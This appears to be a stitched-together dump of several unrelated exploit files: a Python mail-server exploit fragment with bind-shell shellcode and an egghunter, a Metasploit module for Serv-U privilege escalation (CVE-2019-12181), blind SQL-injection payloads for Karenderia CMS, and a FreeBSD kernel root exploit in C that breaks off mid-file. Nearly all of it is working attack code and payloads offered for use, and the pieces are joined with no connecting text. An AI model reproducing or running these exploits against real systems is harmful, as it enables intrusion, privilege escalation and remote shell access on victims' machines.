englishmansdentist+="1etCRj2GCTx2t13kMDKTq6lPpfEohgdkLTxFkMR9CqORoEB5jmbk4XqWUF3Dl3UC" + "\r\n"
englishmansdentist+="6THo8Tu6OCC7HE2TZr9zHTjdyJd9a4eqwr8cLb6TXAu+9igAAAAAAAMVAKEAZAEA" + "\r\n"
englishmansdentist+="UFBOVAARAE1IQefr197sZXM+W/pjRe/BLbnf2pgWrZ5mMgLFBKzlMy6mac16xuI4" + "\r\n"
englishmansdentist+="izn5bg5uoG8ZcA7gQYsYuMIVzQhFF7fFiLS67GDu5X6FKAAAAAAALGQAlgAGc3lz" + "\r\n"
englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXGPPlyQq3o9GZmtZielNF8tdYv869/" + "\r\n"
englishmansdentist+="AmbjsQWTf8AOK8izGW5wTNn7JoLJjc30s4KJ+OhX+u/+pdKtPedDTZ2NSIelpFKw" + "\r\n"
englishmansdentist+="17Bmh/bTNhcKCjOYS20iyMxvSpMe8LJrzwl6XOp/9ygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
englishmansdentist+="VAARAE1I5B5e2wMdfOmi2W2QdZ/PCvnOVTM90qAV6AEyPbhjlzLP3dCWAXUEFYMq" + "\r\n"
englishmansdentist+="WdtBglnA/M51qb9jI3is+jMWhVO+t2VEfDmKSZ9eKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWXz/Tf7qEIx9FCg6NEav2UQaVUtwItv5NGa" + "\r\n"
englishmansdentist+="p5Vq99/GnrZOT0XwXQzIwB1b9KrvmpA6C2S8nn7rDg9nNhHE/l1xMR7dVH3iBTC9" + "\r\n"
englishmansdentist+="LFugCYRSfNQnAcm10Ci8C+5kZpP9qDl4ev0Q+CgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
englishmansdentist+="AE1I2mie3Ga6YKzrko0cpLcV7/ZATPd/sQviM7JcJkVztaXACMZQerzLPDS0r4G1" + "\r\n"
englishmansdentist+="0pqCrSh5pAIm+02Wf44q9yrxjBFlytFqNOWxKAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWXqF4aEvJh3HUd3Nm3Rzvet2k/FBpm6jIDNrmxt" + "\r\n"
englishmansdentist+="RSHcwT9kRMcaM2+dY5lxw9k0oFpGluM631ZBiSqYyfvJk8liitKJsc3KODDBiYPh" + "\r\n"
englishmansdentist+="o+iC7EJNQBUhLrXydl9tHVygrdJMI1p0+SgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
englishmansdentist+="i55tR0/EK81shBJNY/eSrF57eFU3xE82A2Numy+YJgqj6IqaG1iLThKpqaNrnffb" + "\r\n"
englishmansdentist+="QoQBjA8YxnR4Bd2MAwW8LxjzBC9i0Dr5KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
englishmansdentist+="AxUAoQBkAQBQUE5UABEATWUbAY9lONL9Sh+Sqr3OLJbRE6+1vb25Xm+LDSJKiEYp" + "\r\n"
englishmansdentist+="K7c97E3ZsZRi6vq8Wmxd7A7VmJCOg5quHEyLIoEXW7gBvxbXXobdFFpPGWYTB45a" + "\r\n"
englishmansdentist+="q3L++6SbC7tNUc4prLw3sGmyTU3m+igAAAAAAAMVAKEAZAEAUFBOVAARAE1IlH49" + "\r\n"
englishmansdentist+="LIxOuujhMNn5Nilk83X5+uA2QD3wW4lCGLapMXqPSTqfmAa7InAzzhUgYSSyqttJ" + "\r\n"
englishmansdentist+="hkFNU7HtjP6EnQNM8yF0nEEPtE1LKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
englishmansdentist+="oQBkAQBQUE5UABEATWVHFAbVz/14YPuy66hgbEKmpvvq890sVncdxVpkLdQ9OiPX" + "\r\n"
englishmansdentist+="r+SVXY7DVAKNhCcgz8bQJ2txlQnpb4GF1ijd6UIM6wtps2Thcey91kcY1emiVezX" + "\r\n"
englishmansdentist+="TsyPgoqRc4fabbKA+CmxwDZ1+ygAAAAAAAMVAKEAZAEAUFBOVAARAE1I1P0bNXjL" + "\r\n"
englishmansdentist+="lCxRX1HbmmzMpDuKpNc8J5fj5izoO6mXfCsvJGs93PxXUicXUiqjvoRZqhyNiFJD" + "\r\n"
englishmansdentist+="pgJbhIE8MrMXmVjOLOh6D+DjKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
englishmansdentist+="AQBQUE5UABEATWWLqwdc+zx8F6Q1gCxTRgoBmTEXaNC+OlLohgpq/jTkA17IutK+" + "\r\n"
englishmansdentist+="0yTPit6gmwIoJebP2OVGN+2MqhvYnjtEH4CTJB2eOi36Uz1wLvnrS1zNgN01GKA4" + "\r\n"
englishmansdentist+="/hjA0VtrGUoOOEsJXdCA/CgAAAAAAAMVAKEAZAEAUFBOVAARAE1IsrZI5Qw6hIZF" + "\r\n"
englishmansdentist+="50BkQfu4kNU2UHyZqNUKN8j2oOJLT9/hiqkRvSQWFSxYFuwk8b1yNV0Oi6VoMWJf" + "\r\n"
englishmansdentist+="nxfWMa0F23OLh9GKFXeLKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
englishmansdentist+="UE5UABEATWViul1AWOQK7KTKl2bPRrK0OGZQ8RpUwkFMT1kFJT5SJnaqhUpUo1zs" + "\r\n"
englishmansdentist+="mFyWS6D3fOZleczIZhRHHHbz+03j2DxnHk1mwEAPaKi0ciA/Pj6WHKzEFe+Rzi/I" + "\r\n"
englishmansdentist+="JCi4FMUqrxwxS0Qh/SgAAAAAAAMVAKEAZAEAUFBOVAARAE1I4AW/nrr7rBR+2ezE" + "\r\n"
englishmansdentist+="/LEix7JsCeavFz2JdHURV7fTxK2ncuOSm20gXdyZXZp0OEx9l9lBZJt5oK48Dq12" + "\r\n"
englishmansdentist+="3qX7drFNOpVtwcJ8KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
englishmansdentist+="ABEATWV8VaScU9Rd/aYQN3GSj2FCGFC4HfkDYky7jhH5cH9NlivkaxL7koAC9g4r" + "\r\n"
englishmansdentist+="hWomac+kmFE1hrLVzzU6m2AHr9acWTNBigT5SQ1J2EVmF4UFqypUdPIpC6JjKVz6" + "\r\n"
englishmansdentist+="rMLo4UUkKZ7c/igAAAAAAAMVAKEAZAEAUFBOVAARAE1IIie1Zf6EmRq/jeztmfMT" + "\r\n"
englishmansdentist+="06viejZUBTUPW0ddDE294y04sy0dKyUl9a6cPnuJ7gKaBp1yOhpUN/eubpg5RO5b" + "\r\n"
englishmansdentist+="3UvIeQ982MOQKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA/bs=" + "\r\n"
#username = "r0ss1n1@r0ss1n1.com"
#password = "F!R#W$LL"
# bind shell port 373
bind = "w00tw00t"
bind += "\xda\xc3\xd9\x74\x24\xf4\xba\xb2\xfa\x67\x2b\x5e\x33"
bind += "\xc9\xb1\x78\x31\x56\x19\x03\x56\x19\x83\xc6\x04\x50"
bind += "\x0f\x9b\xc2\x12\xf0\x64\x15\x47\x72\xa1\x1e\xf6\xb0"
bind += "\x5a\xdf\x07\xc7\x16\x4b\xd3\x58\x7b\x1c\xaa\xd3\x10"
bind += "\x6d\x33\x36\x6b\xc9\xef\xd9\x9f\x8e\xb1\x94\x18\x4f"
bind += "\x1a\xf7\xe9\x54\xf7\xa4\x61\x6f\xf7\x4a\x7a\x3c\xa4"
bind += "\x19\x2c\x91\x22\xe7\x1c\x2a\x34\xe8\x48\xd0\xf8\x63"
bind += "\x26\xb1\xb8\x0b\x0f\x55\x6b\x5f\xa1\x8d\xd8\xa0\xf6"
bind += "\x59\x70\xd9\x6b\xa6\x73\x33\xdf\xb1\xc3\xbd\xe0\x41"
bind += "\x38\x88\xb0\xbe\x89\x9b\xf5\x99\x48\xbc\x09\xcc\xe1"
bind += "\x10\xa5\x64\x49\xb3\xb5\x2a\x02\xe8\xba\xfa\xcc\xc8"
bind += "\xe9\x9f\x75\x2a\x24\x76\xc4\xd5\xc7\x89\x2e\x4a\x38"
bind += "\x76\x51\x07\xb2\xe7\xc9\x84\x50\xcb\x23\x55\x41\x5e"
bind += "\xbc\xaa\x6e\x49\x84\xaa\x6e\x75\xf4\xbd\x13\x8a\x04"
bind += "\x3e\x74\x02\xe1\x0f\xb4\x70\x62\x3f\x04\xf2\x26\xcc"
bind += "\xef\x56\xd2\x47\x9d\x7e\xd5\xe0\x28\x59\xd8\xf1\x01"
bind += "\x99\x7b\x72\x58\xce\x5b\x4b\x93\x03\x9a\x8c\xce\xee"
bind += "\xce\x45\x84\x5d\xfe\xe2\xd0\x5d\x75\xb8\xf5\xe5\x6a"
bind += "\x09\xf7\xc4\x3d\x01\xae\xc6\xbc\xc6\xda\x4e\xa6\x0b"
bind += "\xe6\x19\x5d\xff\x9c\x9b\xb7\x31\x5c\x37\xf6\xfd\xaf"
bind += "\x49\x3f\x39\x50\x3c\x49\x39\xed\x47\x8e\x43\x29\xcd"
bind += "\x14\xe3\xba\x75\xf0\x15\x6e\xe3\x73\x19\xdb\x67\xdb"
bind += "\x3e\xda\xa4\x50\x3a\x57\x4b\xb6\xca\x23\x68\x12\x96"
bind += "\xf0\x11\x03\x72\x56\x2d\x53\xdd\x07\x8b\x18\xf0\x5c"
bind += "\xa6\x43\x9d\x91\x8b\x7b\x5d\xbe\x9c\x08\x6f\x61\x37"
bind += "\x86\xc3\xea\x91\x51\x23\xc1\x66\xcd\xda\xea\x96\xc4"
bind += "\x18\xbe\xc6\x7e\x88\xbf\x8c\x7e\x35\x6a\x38\x76\x90"
bind += "\xc5\x5f\x7b\x62\xb6\xdf\xd3\x0b\xdc\xef\x0c\x2b\xdf"
bind += "\x25\x25\xc4\x22\xc6\x48\x60\xaa\x20\x20\x9a\xfa\xfb"
bind += "\xdc\x58\xd9\x33\x7b\xa2\x0b\x6c\xeb\xeb\x5d\xab\x14"
bind += "\xec\x4b\x9b\x82\x67\x98\x1f\xb3\x77\xb5\x37\xa4\xe0"
bind += "\x43\xd6\x87\x91\x54\xf3\x7f\x31\xc6\x98\x7f\x3c\xfb"
bind += "\x36\x28\x69\xcd\x4e\xbc\x87\x74\xf9\xa2\x55\xe0\xc2"
bind += "\x66\x82\xd1\xcd\x67\x47\x6d\xea\x77\x91\x6e\xb6\x23"
bind += "\x4d\x39\x60\x9d\x2b\x93\xc2\x77\xe2\x48\x8d\x1f\x73"
bind += "\xa3\x0e\x59\x7c\xee\xf8\x85\xcd\x47\xbd\xba\xe2\x0f"
bind += "\x49\xc3\x1e\xb0\xb6\x1e\x9b\xc0\xfc\x02\x8a\x48\x59"
bind += "\xd7\x8e\x14\x5a\x02\xcc\x20\xd9\xa6\xad\xd6\xc1\xc3"
bind += "\xa8\x93\x45\x38\xc1\x8c\x23\x3e\x76\xac\x61"
hellosend = "ehlo" + "\x0d\x0a"
userlogin = "USER " + username + "\r\n"
passlogin = "PASS " + password + "\r\n"
mailfrom = "mail from: " + fromaddr + "\r\n"
mailto = "rcpt to: " + toaddr + "\r\n"
maildata = "data" + "\r\n"
crash ="From: <" + fromaddr + ">" + "\r\n"
crash+="To: <" + toaddr + ">" + "\r\n"
crash+="Subject: hi" + "\r\n"
crash+="Date: Wed, 27 Feb 2008 15:47:31 -0500" + "\r\n"
crash+="MIME-Version: 1.0" + "\r\n"
crash+="Content-Type: multipart/mixed;" + "\r\n"
crash+="\x09boundary=\"----=_NextPart_000_0003_01C87958.1024A8A0\"" + "\r\n"
crash+="X-Priority: 3 (Normal)" + "\r\n"
crash+="X-MSMail-Priority: Normal" + "\r\n"
crash+="X-Mailer: Microsoft Outlook, Build 10.0.19201" + "\r\n"
crash+="Importance: Normal" + "\r\n\r\n"
crash+="This is a multi-part message in MIME format." + "\r\n\r\n"
crash+="------=_NextPart_000_0003_01C87958.1024A8A0" + "\r\n"
crash+="Content-Type: application/octet-stream;" + "\r\n"
crash+="\x09name=\"egg.dat\"" + "\r\n"
crash+="Content-Transfer-Encoding: 8bit" + "\r\n"
crash+="Content-Disposition: attachment;" + "\r\n"
crash+="\x09filename=\"egg.dat\"" + "\r\n\r\n"
crash+=bind + "\xCC" * 500
crash+="\r\n\r\n\r\n"
crash+="------=_NextPart_000_0003_01C87958.1024A8A0" + "\r\n"
crash+="Content-Type: application/ms-tnef;" + "\r\n"
crash+="\x09name=\"winmail.dat\"" + "\r\n"
crash+="Content-Transfer-Encoding: base64" + "\r\n"
crash+="Content-Disposition: attachment;" + "\r\n"
crash+="\x09filename=\"winmail.dat\"" + "\r\n\r\n"
crash+=englishmansdentist
crash+="\r\n\r\n\r\n"
crash+="------=_NextPart_000_0003_01C87958.1024A8A0" + "\r\n"
crash+="\r\n\r\n" + "." + "\r\n"
q = "QUIT" + "\r\n"
boom = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
boom.connect(('192.168.17.127', 25))
time.sleep(2)
boomresponse = boom.recv(1024)
time.sleep(2)
print(boomresponse)
boom.send(hellosend)
helloresponse = boom.recv(1024)
time.sleep(2)
print str(helloresponse)
boom.send(mailfrom)
time.sleep(2)
toresponse = boom.recv(1024)
print str(toresponse)
boom.send(mailto)
time.sleep(2)
fromresponse = boom.recv(1024)
print str(fromresponse)
boom.send(maildata)
time.sleep(2)
dataresponse = boom.recv(1024)
print str(dataresponse)
boom.send(crash)
time.sleep(6)
crashresponse = boom.recv(1024)
print str(crashresponse)
time.sleep(2)
boom.send(q)
qresponse = boom.recv(1024)
print str(qresponse)
boom.close()
def trigger(username, password):
trigger = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
trigger.connect(('192.168.17.127', 110))
time.sleep(3)
triggerresponse = trigger.recv(1024)
print str(triggerresponse)
triggeruser = "USER " + username + "\r\n"
trigger.send(triggeruser)
time.sleep(3)
triggerresponseuser = trigger.recv(1024)
print str(triggerresponseuser)
triggerpass = "PASS " + password + "\r\n"
trigger.send(triggerpass)
time.sleep(3)
triggerresponsepass = trigger.recv(1024)
print str(triggerresponsepass)
triggerlist = "LIST" + "\r\n"
trigger.send(triggerlist)
time.sleep(3)
triggerresponselist = trigger.recv(1024)
print str(triggerresponselist)
triggertop = "TOP 1 0" + "\r\n"
trigger.send(triggertop)
time.sleep(3)
triggerresponsetop = trigger.recv(1024)
print str(triggerresponsetop)
triggerdel = "DELE 1" + "\r\n"
trigger.send(triggerdel)
time.sleep(3)
triggerresponsedele = trigger.recv(1024)
print str(triggerresponsedele)
triggerquit = "QUIT" + "\r\n\r\n"
trigger.send(triggerquit)
time.sleep(3)
triggerresponsequit = trigger.recv(1024)
print str(triggerresponsequit)
trigger.close()
return
sendpayload("user@domain.com", "password", "to@domain.com", "from@domain.com");
time.sleep(6)
print "after second +OK egghunter is triggered"
print "egghunter will search for tag, wait 40 seconds"
trigger("to@domain.com", "password");
time.sleep(40)
print "bind shell on port 373"
print "nc -nv [ip] 373"
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Serv-U FTP Server prepareinstallation Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on systems running
Serv-U FTP Server versions prior to 15.1.7.
The `Serv-U` executable is setuid `root`, and uses `ARGV[0]`
in a call to `system()`, without validation, when invoked with
the `-prepareinstallation` flag, resulting in command execution
with root privileges.
This module has been tested successfully on Serv-U FTP Server
version 15.1.6 (x64) on Debian 9.6 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Guy Levin', # @va_start - Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2019-06-05',
'References' =>
[
['CVE', '2019-12181'],
['EDB', '47009'],
['PACKETSTORM', '153333'],
['URL', 'https://github.com/guywhataguy/CVE-2019-12181'],
['URL', 'https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181'],
['URL', 'https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html'],
['URL', 'https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm'],
['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultOptions' =>
{
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true,
'WfsDelay' => 30
},
'DefaultTarget' => 0))
register_options [
OptString.new('SERVU_PATH', [true, 'Path to Serv-U executable', '/usr/local/Serv-U/Serv-U'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def servu_path
datastore['SERVU_PATH']
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_chmodx(path, data)
upload path, data
chmod path
end
def check
unless command_exists? 'bash'
vprint_error 'bash shell is not available'
return CheckCode::Safe
end
vprint_good 'bash shell is available'
unless cmd_exec("test -x '#{servu_path}' && echo true").include? 'true'
vprint_error "#{servu_path} is not executable"
return CheckCode::Safe
end
vprint_good "#{servu_path} is executable"
unless setuid? servu_path
vprint_error "#{servu_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{servu_path} is setuid"
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
if nosuid? base_dir
fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
end
payload_name = ".#{rand_text_alphanumeric 10..15}"
@payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx @payload_path, generate_payload_exe
argv0 = %Q{\\";chown root #{@payload_path};chmod u+s #{@payload_path};chmod +x #{@payload_path}\\"}
cmd = %Q{bash -c 'exec -a "#{argv0}" #{servu_path} -prepareinstallation'}
vprint_status "Executing command: #{cmd}"
cmd_exec cmd
unless setuid? @payload_path
fail_with Failure::Unknown, 'Failed to set payload setuid root'
end
print_good "#{@payload_path} setuid root successfully"
print_status 'Executing payload...'
res = cmd_exec "#{@payload_path} &"
vprint_line res
end
def on_new_session(session)
if session.type.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.fs.file.rm @payload_path
else
session.shell_command_token "rm -f '#{@payload_path}'"
end
ensure
super
end
end
===========================================================================================
# Exploit Title: Karenderia CMS 5.3 - Multiple SQL Vuln.
# Dork: N/A
# Date: 05-07-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: buyer2@codemywebapps.com
# Software Link: https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - SQLi (Blind)
# Parameters : street-name
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# GET Method :
http://localhost/kmrs/searcharea?st=Los%20Angeles,%20CA,%20United%20States&street-name=1%20+%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))/*'XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR'|
"XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR"*/
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: Karenderia CMS 5.3 - Multiple SQL Vuln.
# Dork: N/A
# Date: 05-07-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: buyer2@codemywebapps.com
# Software Link: https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - SQLi (Blind)
# Parameters : category
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# GET Method :
http://localhost/kmrs/store/cuisine/?category=1%20+%20((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A))/*'XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR'|
"XOR(((SELECT%201%20FROM%20(SELECT%20SLEEP(25))A)))OR"*/&page=2
===========================================================================================
#!/bin/sh
# Exploit script for FreeBSD-SA-19:02.fd
#
# Author: Karsten König of Secfault Security
# Contact: karsten@secfault-security.com
# Twitter: @gr4yf0x
# Kudos: Maik, greg and Dirk for discussion and inspiration
#
# libmap.conf primitive inspired by kcope's 2005 exploit for Qpopper
echo "[+] Root Exploit for FreeBSD-SA-19:02.fd by Secfault Security"
umask 0000
if [ ! -f /etc/libmap.conf ]; then
echo "[!] libmap.conf has to exist"
exit
fi
cp /etc/libmap.conf ./
cat > heavy_cyber_weapon.c << EOF
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <pthread_np.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/cpuset.h>
#include <sys/event.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/un.h>
#define N_FDS 0xfe
#define N_OPEN 0x2
#define N 1000000
#define NUM_THREADS 400
#define NUM_FORKS 3
#define FILE_SIZE 1024
#define CHUNK_SIZE 1
#define N_FILES 25
#define SERVER_PATH "/tmp/sync_forks"
#define DEFAULT_PATH "/tmp/pwn"
#define HAMMER_PATH "/tmp/pwn2"
#define ATTACK_PATH "/etc/libmap.conf"
#define HOOK_LIB "libutil.so.9"
#define ATTACK_LIB "/tmp/libno_ex.so.1.0"
#define CORE_0 0
#define CORE_1 1
#define MAX_TRIES 500
struct thread_data {
int fd;
int fd2;
};
pthread_mutex_t write_mtx, trigger_mtx, count_mtx, hammer_mtx;
pthread_cond_t write_cond, trigger_cond, count_cond, hammer_cond;
int send_recv(int fd, int sv[2], int n_fds) {
int ret, i;
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmh;
char cmsg[CMSG_SPACE(sizeof(int)*n_fds)];
int *fds; char buf[1];
iov.iov_base = "a";
iov.iov_len = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmsg;
msg.msg_controllen = CMSG_LEN(sizeof(int)*n_fds);
msg.msg_flags = 0;
cmh = CMSG_FIRSTHDR(&msg);
cmh->cmsg_len = CMSG_LEN(sizeof(int)*n_fds);
cmh->cmsg_level = SOL_SOCKET;
cmh->cmsg_type = SCM_RIGHTS;
fds = (int *)CMSG_DATA(cmsg);
for (i = 0; i < n_fds; i++) {
fds[i] = fd;
}
ret = sendmsg(sv[0], &msg, 0);
if (ret == -1) {
return 1;
}
iov.iov_base = buf;
msg.msg_name = NULL;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cmh;
msg.msg_controllen = CMSG_SPACE(0);
msg.msg_flags = 0;
ret = recvmsg(sv[1], &msg, 0);
if (ret == -1) {
return 1;
}
return 0;
}
int open_tmp(char *path)
{
int fd;
char *real_path;
if (path != NULL) {
real_path = malloc(strlen(path) + 1);
strcpy(real_path, path);
}
else {
real_path = malloc(strlen(DEFAULT_PATH) + 1);
strcpy(real_path, DEFAULT_PATH);
}
if ((fd = open(real_path, O_RDWR | O_CREAT)) == -1) {
perror("[!] open");
exit(1);
}
fchmod(fd, 0700);
return fd;
}
void prepare_domain_socket(struct sockaddr_un *remote, char *path) {
bzero(remote, sizeof(struct sockaddr_un));
remote->sun_family = AF_UNIX;
strncpy(remote->sun_path, path, sizeof(remote->sun_path));
}
int bind_domain_socket(struct sockaddr_un *remote) {
int server_socket;
if ((server_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
perror("[!] socket");
exit(1);
}
if (bind(server_socket,
(struct sockaddr *) remote,
sizeof(struct sockaddr_un)) != 0) {
perror("[!] bind");
exit(1);
}
return server_socket;
}
int connect_domain_socket_client() {
int client_socket;
if ((client_socket = socket(AF_UNIX, SOCK_DGRAM, 0)) == -1) {
perror("[!] socket");
exit(1);
}
return client_socket;
}
// Prevent panic at termination because f_count of the
// corrupted struct file is 0 at the moment this function
// is used but fd2 still points to the struct, hence fdrop()
// is called at exit and will panic because f_count will
// be below 0
//
// So we just use our known primitive to increase f_count
void prevent_panic(int sv[2], int fd)
{
send_recv(fd, sv, 0xfe);
}
int stick_thread_to_core(int core) {
/* int num_cores = sysconf(_SC_NPROCESSORS_ONLN); */
/* if (core_id < 0 || core_id >= num_cores) */
/* return EINVAL; */
cpuset_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core, &cpuset);
pthread_t current_thread = pthread_self();
return pthread_setaffinity_np(current_thread, sizeof(cpuset_t), &cpuset);
}
void *trigger_uaf(void *thread_args) {
struct thread_data *thread_data;
int fd, fd2;
if (stick_thread_to_core(CORE_0) != 0) {
perror("[!] [!] trigger_uaf: Could not stick thread to core");
}
thread_data = (struct thread_data *)thread_args;
fd = thread_data->fd;
fd2 = thread_data->fd2;
printf("[+] trigger_uaf: fd: %d\n", fd);
printf("[+] trigger_uaf: fd2: %d\n", fd2);
printf("[+] trigger_uaf: Waiting for start signal from monitor\n");
pthread_mutex_lock(&trigger_mtx);
pthread_cond_wait(&trigger_cond, &trigger_mtx);
usleep(40);
// Close to fds to trigger uaf
//
// This assumes that fget_write() in kern_writev()
// was already successful!
//
// Otherwise kernel panic is triggered
//
// refcount = 2 (primitive+fget_write)
close(fd);
close(fd2);
// refcount = 0 => free
fd = open(ATTACK_PATH, O_RDONLY);
// refcount = 1
printf("[+] trigger_uaf: Opened read-only file, now hope\n");
printf("[+] trigger_uaf: Exit\n");
pthread_exit(NULL);
}
void *hammer(void *arg) {
int i, j, k, client_socket, ret;
char buf[FILE_SIZE], sync_buf[3];
FILE *fd[N_FILES];
struct sockaddr_un remote;
prepare_domain_socket(&remote, SERVER_PATH);
client_socket = connect_domain_socket_client();
strncpy(sync_buf, "1\n", 3);
for (i = 0; i < N_FILES; i++) {
unlink(HAMMER_PATH);
if ((fd[i] = fopen(HAMMER_PATH, "w+")) == NULL) {
perror("[!] fopen");
exit(1);
}
}
for (i = 0; i < FILE_SIZE; i++) {
buf[i] = 'a';
}
pthread_mutex_lock(&hammer_mtx);
// Sometimes sendto() fails because
// no free buffer is available
for (;;) {
if (sendto(client_socket,
sync_buf,
strlen(sync_buf), 0,
(struct sockaddr *) &remote,
sizeof(remote)) != -1) {
break;
}
}
pthread_cond_wait(&hammer_cond, &hammer_mtx);
pthread_mutex_unlock(&hammer_mtx);
for (i = 0; i < N; i++) {
for (k = 0; k < N_FILES; k++) {
rewind(fd[k]);
}
for (j = 0; j < FILE_SIZE*FILE_SIZE; j += CHUNK_SIZE) {
for (k = 0; k < N_FILES; k++) {
if (fwrite(&buf[j % FILE_SIZE], sizeof(char), CHUNK_SIZE, fd[k]) < 0) {
perror("[!] fwrite");
exit(1);
}
}
fflush(NULL);
}
}
pthread_exit(NULL);
}
// Works on UFS only
void *monitor_dirty_buffers(void *arg) {
int hidirtybuffers, numdirtybuffers;
size_t len;
len = sizeof(int);
if (sysctlbyname("vfs.hidirtybuffers", &hidirtybuffers, &len, NULL, 0) != 0) {
perror("[!] sysctlbyname hidirtybuffers");
exit(1);
};
printf("[+] monitor: vfs.hidirtybuffers: %d\n", hidirtybuffers);
while(1) {
sysctlbyname("vfs.numdirtybuffers", &numdirtybuffers, &len, NULL, 0);
if (numdirtybuffers >= hidirtybuffers) {
pthread_cond_signal(&write_cond);
pthread_cond_signal(&trigger_cond);
printf("[+] monitor: Reached hidirtybuffers watermark\n");
break;
}
}
pthread_exit(NULL);
}
int check_write(int fd) {
char buf[256];
int nbytes;
struct stat st;
printf("[+] check_write\n");
stat(DEFAULT_PATH, &st);
printf("[+] %s size: %ld\n", DEFAULT_PATH, st.st_size);
stat(ATTACK_PATH, &st);
printf("[+] %s size: %ld\n", ATTACK_PATH, st.st_size);
nbytes = read(fd, buf, strlen(HOOK_LIB));
printf("[+] Read bytes: %d\n", nbytes);
if (nbytes > 0 && strncmp(buf, HOOK_LIB, strlen(HOOK_LIB)) == 0) {
return 1;
}
else if (nbytes < 0) {
perror("[!] check_write:read");
printf("[!] check_write:Cannot check if it worked!");
return 1;
}
return 0;
}
